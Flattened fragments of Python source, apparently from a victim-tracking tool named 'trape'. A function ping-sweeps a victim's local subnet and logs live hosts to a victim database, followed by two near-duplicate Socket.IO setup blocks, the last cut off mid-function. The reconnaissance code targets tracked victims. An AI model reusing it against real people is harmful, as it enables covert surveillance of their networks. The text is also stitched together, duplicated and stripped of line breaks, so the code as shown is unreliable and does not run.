def getHostsAlive(ip, vId): hDB = Database() try: hDB.sentences_victim('delete_hostalive', vId, 2) split_ip = ip.split('.') net = split_ip[0] + '.' + split_ip[1] + '.' + split_ip[2] + '.' if ip != '127.0.0.1': if (platform.system()=='Windows'): ping = 'ping -n 1 -w 5' else: ping = 'ping -c 1 -t 3' for sub_net in range(1, 255): address = net + str(sub_net) response = os.popen(ping + ' ' + address) for line in response.readlines(): if ('time=' in line.lower()): lPos = line.find('time=') tmpLine = line[lPos+5:lPos+15] lPos = tmpLine.find('ms') tmpLine = tmpLine[0:lPos+2] hDB.sentences_victim('register_hostalive', [vId, address, tmpLine, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) break else: hDB.sentences_victim('register_hostalive', [vId, 'OWN HOST', 0, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) except ValueError: pass
from core.utils import utils from core.db import Database # Main parts, to generate relationships among others trape = core.stats.trape app = core.stats.app # call database db = Database() async_mode = None socketio = SocketIO(app, async_mode=async_mode) thread = None thread_lock = Lock() db.sentences_victim('clean_online', None, 2) def background_thread(): count = 0 @socketio.on("join", namespace="/trape") def join(message): try: join_room(message['room']) session['receive_count'] = session.get('receive_count', 0) + 1 except Exception as error: pass @socketio.on("my_room_event", namespace="/trape") def send_room_message(message): try:
from core.db import Database import sys # Main parts, to generate relationships among others trape = core.stats.trape app = core.stats.app # call database db = Database() async_mode = None socketio = SocketIO(app, async_mode=async_mode) thread = None thread_lock = Lock() db.sentences_victim('clean_online', None, 2) def background_thread(): count = 0 @socketio.on("join", namespace="/trape") def join(message): try: join_room(message['room']) session['receive_count'] = session.get('receive_count', 0) + 1 except Exception as error: pass